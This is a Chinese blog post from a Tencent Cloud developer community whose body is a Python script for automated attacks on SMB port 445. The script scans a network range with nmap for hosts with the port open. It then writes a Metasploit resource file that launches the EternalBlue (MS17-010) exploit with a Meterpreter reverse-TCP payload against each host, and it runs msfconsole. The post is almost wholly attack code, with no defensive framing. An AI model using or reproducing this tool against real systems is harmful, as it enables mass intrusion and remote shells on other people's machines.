前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >python Metasploit攻击445端口

python Metasploit攻击445端口

作者头像
用户5760343
发布2019-07-31 15:48:08
1.9K0
发布2019-07-31 15:48:08
举报
文章被收录于专栏:sktjsktj

-- coding: utf-8 --

""" Created on Sun Nov 12 09:11:33 2018 @author: 小谢 """ import os import optparse import sys import nmap def findTarget(Hosts): #扫描网段范围内开放445端口的主机 nmScan=nmap.PortScanner() nmScan.scan(Hosts,'445') targets=[] for t in nmScan.all_hosts(): if nmScan[t].has_tcp(445): #如果445端口提供了协议 state=nmScan[t]['tcp'][445]['state'] #查看445端口的状态 if state=='open': print '[+]Found Target Host:'+t targets.append(t) return targets #返回开放445端口的主机列表 def confickerExploit(configFile,target,lhost): #漏洞利用 configFile.write('use exploit/windows/smb/ms17_010_eternalblue \n') #漏洞利用代码 configFile.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp\n') configFile.write('set RHOST '+str(target)+'\n') #设定参数 configFile.write('set LHOST '+lhost+'\n') configFile.write('exploit -j -z\n') #j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换 def main(): configFile=open('configure.rc','w') #以写入方式打开配置文件 usage='[-]Usage %prog -H <RHOSTS> -l/-L <LHOST> ' parser=optparse.OptionParser(usage) parser.add_option('-H',dest='target',type='string',help='target host') #目标主机 parser.add_option('-l','-L',dest='lhost',type='string',help='listen address') #我们的主机 (options,args)=parser.parse_args() target=options.target lhost=options.lhost if (target==None)|(lhost==None): print parser.usage exit(0) targets=findTarget(options.target) #寻找目标 for target in targets: #逐个攻击 confickerExploit(configFile,target,lhost) configFile.close() os.system('msfconsole -r configure.rc') #启动metasploit并读取配置文件 if name=='main': main()

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019.07.29 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • -- coding: utf-8 --
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档